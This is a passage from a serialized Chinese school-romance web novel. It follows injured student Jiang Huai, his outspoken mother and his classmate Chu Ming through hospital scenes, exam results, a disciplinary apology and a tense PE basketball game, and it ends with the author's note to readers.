吴珊有些期待地问:“你跟阿姨说说他哪挺好的?” 长挺好的。 楚明另外想了想, 还算情真意切地说:“心挺好的。” “他有心吗?”吴珊皱了皱眉:“我怎么没看出来?” 楚明:“……他确实挺好的。” 他叼了小块面包, 不急不快地咀嚼, 咽下后转开话题说:“阿姨。” 吴珊看向他:“嗯?” 楚明轻声问道:“他为什么不想来医院?” “他……”吴珊叹了口气, “他就是个傻缺。” 楚明噎住:“……” “见笑见笑, ”吴珊注意到场合后连忙收敛起平日里的气质:“他初中的时候受了次重伤,手术之前说的和手术之后的结果……差挺多的。” 楚明僵住,拧了下眉。 “他当时不信邪,正住着院呢偷偷跑外面球场去打球, 给医生吓得以为医学奇迹,结果他就是硬咬牙撑着……后来全医院都知道有个腿断了还能打篮球的病人在三楼。” 楚明想了想那个画面:确实是江淮能干出来的事。 吴珊笑着笑着眼里闪过细碎的光:“还是情绪影响着,到现在他都不愿意上医院,我每次就跟犯罪分子似的押他去,保安看到都不知道该打110还是120。” 楚明依旧不知道该说什么,只静静听着。 “……好久没跟人说过,说出来还挺畅快,”吴珊抹了抹眼角:“以后江淮但凡说你半句不好听的,你就跟我一样有他的把柄了,随便骂他他绝对不敢造次。” 楚明:“……”- 江淮醒来时是傍晚。 他侧着脸看向窗外潦草的日落,脑袋昏沉。 “来喝骨头汤,”吴珊说:“老娘今天亲自下厨煲的牛骨汤,又鲜又香能拳打脚踢所有大厨,不喝我打你啊。” 江淮:“……” 他神情厌倦地扫了眼汤,哑声:“不喝。” “嘿!皮痒痒是不是!”吴珊噌地起身:“快喝,不喝我不告诉你发生了什么。” 江淮看傻子似的看她:“我才是当事人,你知道屁。” 吴珊:“……” 看着她儿子,她撸起袖子酝酿后开启暴言模式:“*&¥#*%*@……” 江淮跟她拗半天拗得自己口干舌燥,最终还是主动端过骨汤喝了两口。 吴珊欣慰地点点头:“想问什么?好儿子。” 江淮就着卫生纸吐掉嘴里的葱末:“楚明呢?” “又不先提你老妈!”吴珊怒气冲冲一秒,收掉脾气温和地说:“小楚说他没睡够先回家补觉,还是个孩子,睡不完的觉。” 江淮指尖点了点,腰腹还隐隐传来暗痛,他轻拧眉:“他没说什么吗?” “没有啊,要跟你说什么,能跟你说什么,”吴珊莫名其妙地看着自己儿子:“你不会是伤到哪根神经开始胡思乱想了吧。” 江淮冷酷地看着她。 “瞪着我干嘛?我是你亲妈,你敢骂我一句吗?” 江淮脱口而出:“神经。” 吴珊张嘴就来:“……傻逼!” 江淮把骨汤推到小桌板上,手心压到腹部轻揉片刻,冷声说:“我要睡了,你走吧。” 吴珊皱了皱眉,但还是没多说:“行行行,我安排人了的,别费心思你跑不掉。” 江淮不耐烦地:“嗯。” 吴珊走后,病房里顿时安静下来。 江淮靠在枕头上轻阖双眼: 错觉还是梦? 他让楚明给打了……- 楚明回家之前先去学校把失联两天的自行车蹬回小区楼下锁着。 又去附近超市买了些菜蛋奶肉。 拎着大包回去,楚明给自己煮了碗鸡蛋面——只用了两个蛋。 收拾完他洗澡吹头洗衣晾衣,站阳台上看着那件迎风飞舞的黑色背心,他有片刻的晃神。 江淮的。 瞳孔外层忽地蒙出一层玻璃雾气,雾气里影绰出那天江淮穿着黑背心站他面前的光景。 “啧,”楚明勾唇轻笑,用衣架敲了敲那件背心,凶狠道:“你自己让我有点反抗精神的啊!” 他凶狠完回到房间。 桌面还摊放着江淮做过的那张试卷——十二道选择题有五道是他没学过的知识点,红笔标注着“不会”。 楚明垂眸把试卷翻了个面。 压轴导数题还不在江淮的了解范围内,第二小问空着,画了个小小的问号。 楚明无奈地笑笑,看着他的过程,勾起红笔在空白处楷体,有些报复性地写道: “傻逼,赋值能对一半。” 刷完两张套卷楚明躺回床上。 自由地滚了一圈,忽然发现这床确实如江淮所说:挺大的。 他坐起来,指尖勾过被缠得发皱的黑色腰带,准备投进垃圾桶时他轻顿,还是翻身把腰带塞进书桌抽屉里。 窗外蝉鸣依旧,燥热却加倍。 楚明好半天没睡着,索性侧着身子看窗外。 窗玻璃映出晃动的树影,看着看着却明亮起来,正午的阳光扫落,昏黑的树干笔直成篮球架立柱,篮板被砸的一震,篮筐向下唰地冲出颗球。 江淮的身影穿梭在炽热的光影里,腕带手手带指直线发力篮球飞掷上天精准落筐! 金色光芒刺着刺着温和成惨淡的白色,江淮躺在病床唇无血色。 …… 楚明伸手在眼前挥了挥,轻声呢喃:“想什么呢。” 江淮不是一条腿都能干废他吗? 缺个膝盖能怎么- 星期一非常热闹。 升旗仪式隆重举行后,便是每周固定项目:颁发流动红旗。 “上周获得流动红旗的班级是:6班、7班、8班、15班、18班、21班、27班、29班。” 21班全体方阵陷入死寂的自我怀疑与怀疑他人状态,面面相觑。 大马猴也愣神半天,才手忙脚乱地吩咐:“班长快上台领!” 刘明宇摸不着头脑顺拐着上台,懵懵然地把流动红旗挂到脖子上,回班时被旁边20班班长指出来时才愣着脑袋说:“哦,哦,不好意思。” 他把流动红旗取下来抱回班级方阵。 进入国旗下的演讲环节,班级内部开始窃窃私语。 “怎么会呢?” “江大神在的情况下,21班居然还能摸得到流动红旗,其他班逊爆了。” “江淮扣的分加起来能有五六七八九十分吧。” “所以上周后面几天发生了什么?” 楚明站在班级最后排,低头脚尖碾着草里的黑色塑料石子。 他其实也挺好奇的。 回到班级时上周周考成绩单已经上墙。 整条走廊上一半的学生都围靠在墙上的成绩单边抬头挺胸探头踮脚。 “我靠!” “不是,多少,一百四十五?” “看完的兄嘚能先退下吗?我虽然成绩差但不代表没有一颗渴望看到成绩的心!” 楚明站在围栏边微微仰头。 艰难地在人头缝隙间凑齐了一张成绩条,诧异地挑了下眉。 江淮|16名|96名|519分|109分|145分|144分|46分|37分|38分。 他回到班级坐下,只见大马猴正紧急召唤同学回班。 “成绩都有所了解了吧,”大马猴等班级内部安静下来,说:“两门单科第一和进步最大,江淮同学人不在但给我们班级加了4分。” 前排有个女生毫不收敛声音地说:“作弊吧。” 大马猴默住。 陆续又有男生举手:“是欸是欸,周六考试的时候我听监考老师围着在讨论江淮的名字。” 大马猴的脸逐渐黑下来:“说到作弊,我们班确实有人作弊,还被通报批评了。” “看吧,我就说我没看错。” “怎么可能没学过比学过的还考得高,除了作弊没有其他答案。” 大马猴捞起戒尺猛拍讲台:“我说的不是江淮。赵恩,你站起来!” 中间倒数第二排的男生后背骤然挺直,他嘴巴抽抽了两下才站起来。 前排后排均向他投去热切的目光。 赵恩站着垂下脸。 “打小抄作弊,还威胁同学帮他作弊。”大马猴吼道:“监控录像我看得一清二楚!班主任群里我脸面全让你丢尽了!” 赵恩扒拉了两下手,试图狡辩却被叩门声打断。 一众视线都转向前门门口。 一个笑得很甜的女生收回叩门的手,把左手提溜着的流动红旗举起来说:“老师我是学生会的,新来的同学太紧张在台上把20班看成21班念错了,我帮忙物归原主。” 二十一班师生:“……” 落针可闻持续到第一节课上课,卫疏走进教室稀奇地享受着难得一有的班级氛围。 “考差了反省这么投入?”卫疏把教室扫了一圈:“赵恩站着干嘛?有问题不明白?” 无眉姐举手说:“他罚站。” “为什么罚站?”卫疏八卦着问。 有人替她说:“考试作弊。” “哦。”卫疏点了点头:“不理解但尊重,只要不作弊我的语文就行。” 茫茫人海里小小的声音格外突出:“就是语文。” 卫疏僵住:“……” 于是语文课的氛围徒增微妙,卫疏时不时哼哼两声,粉笔挫断好几根才写下一排字。 楚明专心致志地翻开物理教辅。 “图甲为交流发电机的示意图,磁场可视为水平方向的匀强磁场,磁感应强度大小B=2T……” 他没看进去题,掀起眼皮往赵恩站着的地方看了一眼- “……保守治疗不手术,慢慢修养着等它自己长好。” 江淮双手相交轻放在腹部,闻声淡淡地说:“知道了。” “谢谢哈,”吴珊颔着首追赶了会儿医生的步伐,撵完她撩起刘海假装无事发生地走回来坐到床前:“听明白没?” 江淮敷衍地:“嗯。” “你这副样子叫明白?”吴珊怒发冲冠为犬子:“你知道我是什么意思吗!” 江淮:“……” 他轻顿:“吴珊女士,您打扰病人休息了。” 吴珊默了默,选择在沉默后爆发:“你算哪门子病人!哪个病人腿断了还能跑半场打篮球的!” 江淮被她吵得头疼,揉了揉额角。 “保守治疗不手术说明你有充足的时间和完美的条件在校学习,”吴珊说:“你们班主任把成绩单发给我了,说你还是很有潜力很有能力的。” 江淮轻拧眉,“什么成绩单?” “什么什么成绩单?”吴珊问。 江淮翻了个白眼:“……我在问你。” 吴珊复盘了下自己的话,“哦,哦!就你们上周周考啊,你不是自己考的吗?居然没印象吗?” 江淮想起来了,淡淡地回道:“没反应过来。” “慢慢适应就好,你两年没读书没反应过来也正常,”吴珊把照片翻出来给他儿子:“你看考的还是很不错的,你再悠着学它两三个月,到时候腿长好了学习也好起来了,不就一举两得吗?” 江淮淡声:“我不去学校。” 吴珊震怒:“为什么?” “没有为什么,”江淮低头扫着成绩单,粗略瞄了眼自己惨不忍睹的成绩。 吴珊倒回躺椅里,深呼吸后冷眼说:“江淮,你别以为老娘不知道你那个灌了屎的脑子一天天在想什么!” 江淮:“……” 他抬眼和他妈视线相接。 “不就是为你那狗屁篮球守身如玉吗?”吴珊吼道:“老娘就想不明白,篮球才他妈几两重你要用你后七八十年人生去扛!长什么脑袋不好偏偏长个篮球脑袋。要知道你他妈会是这样,你出生那天老娘就该给你投篮筐里爱谁捡捡去!” 江淮眼神深了些。 吴珊用脚把躺椅推到后面些,残余的怒气催生出:“我和你爸也没谁这么贞洁啊!你他妈是不是我亲生的!他妈的对个破篮球都能山盟海誓不离不弃的。” 门外熙熙攘攘着奔走的医生护士家属。 一门一墙相隔的病房里消毒水的气息独占山头为王,肆意生长。 江淮眼睫轻颤无言以对。 他缓缓落下视线。 心头似有拧结似的绞痛钳住喉管爬到口腔,他轻咽唾沫都觉得有股钝刀磨割的嘶痛。 他妈的比左膝还痛。 吴珊气头一过便觉得这话说的是有点糙。 僵硬地往回拉了一把: “我儿子心脏不至于这么脆弱听不得两句话,你就说我说得对不对!用你们小年轻流行的话来说,这是不是就叫那什么清醒的堕落。明知道打不了篮球还硬打,明知道学得走硬是不去学,你要干嘛啊江淮?你出生的时候医生也没跟我说你骨头反着长的啊!” 江淮恍惚间顺手把灰下去的手机屏幕点亮。 恰好看到一排成绩。 楚明|41名|397名|423分|120分|67分|87分|47分|52分|50分。 江淮:“……” 他妈的楚明考的什么狗屎。 他无语地勾唇笑了下。 吴珊被他笑得莫名其妙:“哟,还给你骂爽了吗?” 江淮看了她一眼:“神经。” 吴珊松了口气:“傻逼。” “害,儿,我说真的,你回去上学。”吴珊坐着推动躺椅前进两步:“上回还有仨娃的检讨你没听人念呢,老娘在办公室累半天给你要回来的你就纡尊降贵去回收了呗。” 江淮轻顿:“什么检讨?” “怎么记性这么烂?”吴珊怀疑地看向他:“你才过的是十六的生还是六十的?” 江淮:“……那看你想四十还是八十四。” 吴珊高冷地笑了:“有仨骑电瓶跟你那事。哦,还有,小楚跟你玩挺好吧?你看你回学校还能有个伴儿,你坐这就只能跟你天天问候的妈干聊干骂,你说哪个好?” 江淮:“……” “人小楚还跟我夸你心好呢,”吴珊说:“多难得的好评。” 江淮轻顿:“他原话是什么?” “原话就是这个,”吴珊笑了笑:“是不是受宠若惊难以置信了?妈听到的时候和你现在的反应一模一样。” 江淮:“……” 吴珊说:“我都怀疑是不是你揍小楚了,居然能面不改色地说出这么违心的话。” 江淮欲言又止。 止住的时候腰腹被膝盖顶过的部位还隐隐作疼。 他轻拧眉:“我没揍他。” 吴珊起身拍了拍他的脑袋,轻叹气说:“我知道我知道,我说的是怀疑嘛。” 江淮拍开她的手:“灌屎的脑袋也摸?” 吴珊:“……” 她默了默想起这是自己的话,顿时笑得前仰后合:“哈哈哈哈……” “神经。”江淮把手机扔回她的躺椅,半晌后冷声说:“我明天去学校问个答案。” 吴珊一开始只听到明天去学校五个字,乐呵半天才连起后半截,不禁问道:“问什么答案?” 江淮淡淡瞥了她一眼:“他原话是什么。” “小楚啊?”吴珊愣了愣:“老娘真没骗你,原封不动告诉你的……”- 周二早自习语文。 教室里回响着哇哇的早读声。 教室外江淮套着校服面容冷淡地和大马猴对视。 “呃……回来上课了?”一如初见,大马猴笑得腼腆:“这两天休息得怎么样啊?” “挺好。”江淮淡淡地说。 大马猴笑笑:“不要有任何压力,之前的事情都翻篇了,现在就当是新的开始。重新介绍一下,我叫马海,是你未来两年的数学老师和班主任。” 江淮:“……” 他静默片刻后说:“您好。” “好好好,”大马猴显然也被自己小小地尬到了,搓着手说:“那先进去早读?卷子答案什么的我让楚明帮你收着的……你腿方不方便?” 江淮:“方便。” “哦,那就好那就好。”大马猴说:“那我就去监督他们早读了,你慢慢走进去哈。” 江淮轻点头:“嗯。” 江淮慢悠悠地杵在后门往里瞥了眼。 依旧是之前早读那种要死不活样,只是隐隐间总觉得班级氛围有些不一样。 他视线聚焦,角落里楚明捧着本语文书,嘴唇慢速一张一合着。 “我靠!”赵逵逵一边看防一边瞌睡的眼睛捕捉到右后方人影,吓得心脏突突,熟练绷直站稳高声苦读半秒才突觉不对,扭头:“哥们?!” 江淮冷了他一眼。 赵逵逵用书掩面惊诧地说:“有生之年居然还能见你一面……哥们你没带炸药吧?” 江淮:“……” 他拧了下眉:“滚蛋。” “下课我来找你,”赵逵逵余光瞄见讲台上大马猴的身影,开启一级戒备状态:“现在不方便。” 江淮:“……” 与此同时回头直直瞄他的十几双眼睛也怎么来的怎么回去了。 “他怎么回来了?” “不是说腿瘸了要休学吗?” “操,瘟神回归。” 江淮走得慢,物理意义上的慢。 挪回座位的路上耳边诸多讨论,他稀奇地挑了下眉,一一向声源方向回视。 讨论声便淡下去,开始“师者,所以传道授业解惑者也……” “精神头拿出来,都没吃饭吗?”大马猴蓄足精力吼了一嗓子:“我再看到谁不张嘴就到讲台上来读!” 哇哇声瞬间膨胀成哇哇哇哇声。 楚明被嘈杂到了。 正闲读历史知识点的嘴蓦地一停,开始默读模式。 也是这时,眼前压下大片阴影。 他呼吸停了一瞬,抬眼看去。 江淮站在他面前。 眉目冷淡,薄唇轻抿。 楚明默默地收回视线,捏着书页的手力道骤深。 江淮没有开口说话的意思。 站在位置里把课桌上叠码得整整齐齐的试卷习题答案潦草翻过。 等早自习结束铃声打响,他拉开座椅坐下,抬眼扫了下值日生写的课表。 楚明的字。 第一节英语,第二节历史。 “YEAH?”杨丽质踏上讲台习惯性地扫视一圈,扬起声音:“我英语第一回来了。” 江淮还没反应过来她在说什么,便接连撞上前排几十双眼睛。 江淮:“……” 他又不是猴,有什么看头。 “来,给个巴巴掌!”杨丽质带头拍手:“新同学也是给我们21班争光了。” 不算有气但绝对无力的掌声此起彼伏得仿佛用了通感手法——放耳听去是连绵不绝的肉色。 不过耳边的掌声还是挺清脆的。 江淮偏眸扫了楚明作张合状的手掌一眼。 “昨天讲完语填和改错,”杨丽质跑回正题:“今天我们来讲前面的阅读,给十分钟讨论,十分钟后我随机抽人来讲高频错题。” 说完,她把需要讨论的题号写到黑板上。 教室里闹乎起来。 江淮找不到卷子,淡淡扫了眼旁边楚明,见他没有任何要开口的意思,不禁眯了下眼。 “你俩讨论呐!”杨丽质巡逻过来时叠成圆筒的卷子敲了敲江淮的桌面:“楚明你考这么差正好有机会跟江淮学习学习,要主动问!” 江淮向着里桌挑了下左边眉毛。 楚明点了下头:“……好的,老师。” “你卷子呢?”杨丽质又扫了眼江淮:“找不到先凑合着看,你还有几分的进步空间不能松懈。” 正说着前桌突然咯咯咯地笑起来,杨丽质往前就是一个猛跳:“你俩干嘛呢?” 前桌老实了。 杨丽质怒踏高跟鞋继续巡视。 江淮摸到笔熟练地转起来,吩咐道:“你坐过来点。” 楚明垂着的手慢慢搓着无声版响指,犹疑片刻后把试卷摊开挪到两桌缝之间放好。 江淮停住转笔的动作,支出笔,用笔杆挑起楚明的下颌转向自己,低声:“来,主动问。” 楚明稍仰了些头:“……” 他喉间滚了一下,余光注意到杨丽质可能要转身,慌忙抬手按下江淮的手腕。 江淮低眸看了眼他的手。 他撂下笔反手迅速攥住楚明手腕往自己大腿根压来,楚明被这动作带得被迫倾靠向他。 距离骤然拉进,呼吸彼此交混。 黑笔胡乱地滚落在地,不知方位。 江淮没松劲,余光里杨丽质巡逻着向下走来,他面上全然无波地说:“选标题,难在哪?” 楚明屏住呼吸:“……” 江淮淡声说:“ABCD选项去掉定语找中心词。” “这方法讲得不错,”杨丽质站在他桌子面前,说:“标题题里很经典的一类,楚明找找看。” 楚明:“……” 他目光扫过课桌下自己被压着的手腕,开口说:“A项方法,B项原因,C项……” “不用说了,”江淮见杨丽质走远,说:“先换个话题。” 楚明:“……” 江淮压着声音,轻顿片刻后说:“那天——” 楚明大概猜到江淮是来为那天被顶的那下要说法了。 但没想到江淮的下半句是: “谢谢。” 谢谢。 要生要死这么大的阵仗说句谢谢。 楚明转向他,神色复杂地看着他的脸。 “什么眼神,”江淮想说的说完了,松开他的手往自己脸上抹了把:“我脸上有东西?” 楚明收回有些麻的手:“……没。” “你继续,”江淮目光落回试卷:“C项,翻译。” 楚明轻顿,弯腰勾起笔的同时说:“C项建议,D项意见。” 他把黑笔放回江淮的桌面。 江淮接过,继续转笔。 目光流转于楚明英语试卷阅读段落间简单的勾线和区域框定,他拧了下眉,“你词汇量多少?” “嗯?”楚明翻译他勾出句子的嘴停住,回答:“一般。” 江淮白了他一眼:“……” 楚明后知后觉地说:“两三千应该是有的。” 江淮食指中指翻转着笔,定住:“难怪找得到答案区间但选不对。” 楚明:“……” 讨论时间结束,杨丽质开始抽查讨论情况。 江淮没听,依旧看着楚明的试卷。 目光淡淡地看着楚明在题干旁做一些愚蠢的笔记。 比如:“问写某段段落目的,看上一段段落内容。” 比如:“take the plunge:冒险一试。” 江淮挑眉:“听一遍记不住吗?” 楚明晃着的笔杆轻顿,他低声说:“……好记性不如烂笔头。” 江淮轻呵一声。 印象里教室总是很闹,老师在讲台上光明正大地闹,学生在台下偷鸡摸狗地闹,笔沙沙地闹,纸刷刷地闹。 还有偶尔横空出世的喷嚏咳嗽打嗝呼噜。 江淮倚在座椅靠背,像监控探头似的扫过几十个后脑勺。 就像他第一次来到这个班级时一样。 只是这次看的是反面而不是正面。 他微微偏头,目光扫过楚明的脸。 像是也有所感,楚明偏头看了他一眼。 江淮轻顿,晚夏早阳金光洒在楚明脸颊,连皮肤上的小绒毛都依稀可见。 江淮静静地看着,好似头次这么细致地看清楚了他的脸。 楚明被看得不好意思,搓着指尖扭头看向黑板。 “其实你长得还可以,”江淮评价道。 楚明抿唇:“……谢谢。”- “哥们,”下课铃打响赵逵逵就直奔江淮前桌而去,前桌兼他同桌识时务者为俊杰地转战厕所。 赵逵逵坐下,把江淮上下左右依次打量而过:“你真回来了?” “不然呢?”江淮有些无语。 “我只是有些难以置信,”赵逵逵声音小了一些:“我看大家都讨论说你因病休学的事情,就还以为你真的来也匆匆去也匆匆。” 江淮拧了下眉:“大家?” “嗯哼,你照片在八中墙上挂了不知道多少天,”赵逵逵说:“还有很多人扒你英勇事迹呢——你不知道?” 江淮说:“不知道。” 赵逵逵敲了敲后脑勺:“……哥们你这就凡尔大赛了,我要是有照片上墙恨不得把评论从头读到尾,你居然不知道?” 江淮还真不知道,自从到八中他都没碰过手机。 “算了不知道也挺好,现在网络环境不是特别干净,”赵逵逵说:“颜值不仅招来正义也带来妒忌……不说这个,你腿没事吧?” 江淮低眸扫了左膝一眼:“还行。” 赵逵逵追问:“那你之后是不是有段时间不能打篮球了?” 江淮沉默了。 楚明不动声色地偏眸扫了他腿一眼。 赵逵逵没想到会等来一阵沉默,正要体贴地转开话题,就听江淮淡淡的声音说:“能打。” 楚明:“……” 赵逵逵愣了愣:“不是说挺严重吗?” 江淮眉心轻压:“谁说的?” “就……网上和班级小群,还说你已经生活不能自理需要拄拐杖才能勉强活动。”赵逵逵连忙摆手:“我猜肯定有点夸张但应该在一定程度上是事实吧?” 江淮气笑了:“他妈的我连支具都没带,严哪门子的重。” 楚明轻挑了下眉。 “抱歉抱歉,关心则乱关心则乱,”赵逵逵找补道:“那等会儿体育课我来找你,楚哥要一起吗?” 楚明停顿两秒才抬头看向他:“不了。” “为什么?”赵逵逵说:“你打挺厉害的啊!我之前没看过你打球,不知道你水平,没想到居然错过了这么好的苗子。你跟我们打呗!” 江淮偏过头看向楚明。 楚明坚持:“……不了。” “行吧,”赵逵逵低下头:“那我先回去,你们中午等我一起去食堂啊!” 楚明轻轻应了声:“……嗯。” 江淮颔首。 赵逵逵离开后,前桌及其同桌小心翼翼地回到座位,坐下时还偷偷瞄着江淮。 江淮大方地看回去,淡声:“看什么?” “没没没,”前桌纷乱地摆手,找补着问了句:“你腿没事吧?” 江淮不太理解为什么两天没见都来关心他的腿:“关你屁事。” 前桌:“……” 他默默地转回脑袋,很低地和他同桌咆哮了一声:“天呐,天姐这么猛吗……” 两秒后上课预备铃打响,徐红梅踩点从前门走了进来,正笑着,目光接触到后排突然多出来的人,嘴巴啪地闭了起来。 她走到讲台摊开试卷,平腔平调:“上课。” “起立——” 膝盖弯后顶座椅,在椅脚呲地的噪音里同学们灰头土脸地配合:“老师好!” 徐红梅留意到江淮是起身并开口了的,还算满意地摆了下手:“同学们好,请坐。” 江淮起得慢自然也坐得慢——课桌座椅对伤腿人士并不友好,尤其是在班级人多间距拉小的情况下。 虽说班上也没几个人的身高能挡住他,但等前面一众坐下他才挪完左脚,就显得过于出众。 徐红梅看着他:“你还站着干嘛?” 班上同学也跟着回头,带着桀桀的笑意。 江淮撑着桌正欲坐下,闻声视线越过整个教室落到她身上,轻顿:“准备坐下。” 徐红梅:“……坐快点,别耽误我上课时间。” 江淮轻拧眉:“上课铃还没打耽误你什么上课时间?” 几乎是卡着点的,他话说完广播里就响起正式版的上课铃声。 徐红梅:“……” 江淮坐下,没再看她。 徐红梅愣了一会儿才气哄哄地把文综试卷对折:“来看41题——” 楚明的罚站还未到期一周,站着时他垂眸瞥了眼江淮的桌面,指尖轻按把试卷推到两桌中间。 江淮轻声:“谢了。” 历史课平淡地度过后,江淮不必参加跑操,被叫到年级组长办公室。 进去时办公室还站着三个男生,听到响声同时回头看着他。 江淮平淡地回视。 有过一面之缘的地中海说:“江淮同学实在不好意思,老师没有想到你腿是真的受伤还到了住院的地步。”说着地中海低头把他左右腿都看了一遍,说:“你妈妈来过之后老师才了解清楚事情原委,是老师误会你了。” 江淮坐到旁边。 “你们三个,立刻给江同学道歉。” 三个男生异口同声:“对不起,江同学。” 江淮淡淡扫过几人,轻声:“道歉做什么?” 地中海、组长和三个男生:“……” 江淮依旧平淡:“你们的事迹,谁复述一遍?” 沉默片刻后男生之一出来说:“是我们玩性大发,太想了解新同学所以才骑车跟了你。打扰到你的生活,实在对不起。” “这样啊,”江淮说:“检讨呢?” 三个男生:“……” 不记得事迹但记得检讨吗?哈哈真有意思。 江淮说:“没写吗?” “写了写了。”男生手忙脚乱地把一张作文稿纸翻出来,“你看,我们仨的。” 江淮轻拧了下眉:“念。” “哦,”男生把皱巴巴的稿纸捋平,清嗓子后念道:“尊敬的老师亲爱的同学,这是我彭鲲、刘平、汪志广的检讨。在此我深刻检讨……” 江淮没听。 他无聊地扫视着办公室里寡淡的布置,在想这三个傻逼为什么跟他。 以及楚明为什么会给这三个傻逼送早餐。 没等想明白傻逼就已经检讨完毕。 “可以了吗?”彭鲲问。 “嗯。”江淮点了下头。 “那误会解开这件事就到此为止,”地中海说:“关心同学也要有度,不要采取这种手段。好了,就先各自回班级准备上课吧。” 三个男生齐鞠躬:“谢谢老师,老师再见。” 江淮后他们一步出去,跨出门槛时听到身后地中海长长一声叹息。 他转头看了地中海一眼。 地中海立时笑起来,温和得就像过年烫猪的水。 跑操结束同学们陆陆续续回教室。 江淮心情并不美妙,绕过厕所走到空走廊,透过沾灰的大玻璃窗看下面攒动的人头。 这不看不要紧一看还挺有意思。 他看见楚明孤零零地走进隔壁教学楼——那是初三和高三所在楼栋—— 作者有话说:好长一章啊[狗头叼玫瑰] 终于让我入v了[爆哭][爆哭]感谢所有看到这里的宝贝,谢谢支持,我爱你们!!! (小声)宝贝们可不可以补个全订[求求你了][求求你了] (再小声)宝贝们可不可以收藏我的下一本书[可怜][可怜] 求求了(我跪——)(我给大家大更特更——) 第34章 第 34 章 “我和楚明有屁的表里关…… 今天艳阳高照, 正适合上体育课。 队伍集结完毕之后两两一排开始绕操场跑圈。 江淮坐在矮阶上。 体育老师玩着哨子稀奇地低头看向他:“我还惦记着你打篮球的本事呢,你咋先把腿拧着了?” 江淮:“……” “不过有点小病小痛才正常,”体育老师坐到他旁边把左手张开, 弯了弯那截小拇指:“我大学玩篮球的手指把小拇指都撇断过……伤疤是男人的勋章, 没什么大不了的。” 江淮扫了眼他的手:“能打吗?” “包能的,就是还留了点形不好看。”体育老师笑了笑:“你伤到膝盖了?” 江淮淡淡地应着:“嗯。” “我也伤过。打篮球的应该基本都伤过,你也别太着急,还小呢身体长得快也恢复得快, ”体育老师说:“多啃点骨头喝点汤营养跟上慢慢就好了。” 江淮挑眉:“您话这么多吗?” “当老师话能少吗?”体育老师说:“我倒是想当个高冷老师, 这不是装不下去嘛。” 江淮:“……” 还想聊呢跑圈的就哈着气东倒西歪地站回来。 陈炜高声说:“对准这列向左向右散开!” 等热身运动开始,体育老师甩着他的黄哨子来回穿梭在队列之间,没有威严地目睹各种奇葩姿势。 江淮瞥着队伍末的楚明。 他姿势还挺标准, 做起来也不是甩胳膊甩腿的敷衍架势。 阳光下的皮肤是透白的,没什么赘肉的脸庞上,热气氤氲出薄薄一层淡红。 “老规矩BLABLABLA……”体育老师全文背诵完, “解散!” 陈炜招呼起几个兄弟一起往篮球场走的时候, 吼了声:“楚明,帮我们借两个球!” 楚明轻点头,转身往长房子那边去了。 江淮坐在树荫底敛眉。 “哥们看嘛呢?”赵逵逵探过头来:“你腿实在不舒服就不打。” 江淮起身:“打。” “你要有任何不适就叫停, 我会一直看着你的, ”赵逵逵说:“诶?楚哥今天咋没跟你一起?” 江淮轻顿:“……不知道。” 赵逵逵环视四周最后往篮球场看了几眼, 拍了拍他的肩:“在那呢, 你不把他叫来吗?” 江淮拧眉:“叫他干嘛?” “不干嘛, ”赵逵逵把球给他:“只是看习惯你俩在一起……要不你先来试试手感吗?” 江淮运了两下球:“好。” 其实医生并不建议江淮短时间内打球。 但江淮没听。 他带伤上场经验足有分寸。 毫不夸张地说,起立坐下都需要缓冲的膝盖,在球场上还能灵活摆动。 运完球自我感觉良好,利落地投篮之后江淮朝赵逵逵抬了抬下巴:“打!” 陈炜那组想玩球的也跟着靠了过来。 楚明把球递给他们后朝场外退开两步, 听到江淮的声音时往旁边看了一眼。 轻拧眉:还打? 但不得不说江淮还算有分寸,跟完半轮之后他主动退出。 他坐到看台边,仰头喝水时浅浅扫过场外围着的看客。 总感觉聚焦在自己脸上的那群视线格外赤裸。 江淮拧了下眉。 “行,歇着吧。”赵逵逵扶了他一把。 陈炜眼神轻蔑地看着江淮,抱球回到场地时说:“少人怎么办?” “换玩法呗,”赵逵逵说。 陈炜跟没听到他说话似的,抬起球便砸向偏场外站着的楚明,高声吼道:“捡球回来!” “嗯……”楚明错开球弯身捡起,走到场内。 正要走就被陈炜拽住后衣领,陈炜说:“来凑个人头,去对面!” 楚明眼眸深了一分,低声说:“……我不太会。” “让你打你就打,废什么话,”陈炜推了他一把,对身后的兄弟们说:“来,继续!” 楚明趔趄半步,被赵逵逵扶住。 赵逵逵低声问道:“你怎么突然又打了?” 楚明轻顿,目光不慎和场后江淮的对上,莫名有些心虚,他别开眼:“……我凑数的。” 楚明凑到对面就跟搅屎棍似的,抢不到球不说,但凡对手贴他身他就慌不择路地乱退。 赵逵逵皱眉:“我操|你在干嘛?” 楚明喘着:“没手感。” 赵逵逵:“……” 对面陈炜连赢三球,引得呼声连天,“还来吗黑哥?” “歇会吧,”赵逵逵抹汗说:“休息休息准备吃饭了。” 说完他收队往回走。 “好,”陈炜应道,抬手把手里的球抛给楚明:“去还球!” 楚明没接住,弯身跑出几步才把球捡起来,没料到另一个球友的篮球也在这时飞掷过来,他闪躲不及后腰被砸了一下。 篮球被弹开,身后笑声一片。 “球都接不到还打什么球,当捡球的还差不多。”球友说。 陈炜拍了拍他:“我就是叫他来捡球的。” 楚明没有任何停顿,直起腰快步走到旁边捡起篮球。 抱着俩球往长房子那边去还球- “不是?我操。”赵逵逵走到坐台捞起衣服擦汗,还没缓过劲儿来:“哥们你看到没,球是这么打的吗?楚明是咋了,我操|上次他跟你打你放的太平洋吧?” 江淮:“……” 他目光有些冷,扫过陈炜那帮男生,落在场外渐渐走远的楚明的背影上。 “没打过这么憋屈的球,”赵逵逵生气地说:“我操|我还真不知道楚明和陈炜那个憨批居然是一伙的,我一直以为你俩玩挺好的。” 江淮沉默片刻,冷哼一声说:“可能他就是这样的人。” 赵逵逵总觉这话又似曾相识,问:“啊?他哪样的人?” 江淮眉眼缀着冷: 软兔子。 他起身时冷声:“傻逼玩意儿。” 赵逵逵畅快地笑了笑:“算了还是先吃饭吧。好歹才邀请过,我去叫他?” “不用,”江淮说:“爱来不来。” “哦,行,”赵逵逵说:“那今天跟我兄弟们一起吃吧,正好给你介绍几个打球还不错的,等你腿好了能一起玩。” 江淮淡淡地应了声:“嗯。”- 楚明回到篮球场时场内没剩什么人。 三三两两等门禁时间的围坐在树荫下闲谈,笑声莫名尖锐。 “嚣张一周断了条腿,他还敢嚣张吗?” “我听他们说是天姐除的心头之患,真的吗?” “天姐还得是天姐,上一个□□倒的是谁我都没印象了。” “我赌他下周就要退学回家哈哈哈哈……” 楚明看向空荡的坐台,顿了几秒后兀自往食堂走去。 打完饭他随便找了个位置埋头吃饭。 最后一节课是体育的班级往往抢饭最有利。 基本是在其他班还在做抢饭预备活动的时候,班上同学就已经欣欣然端上热乎的饭菜聊天说地了。 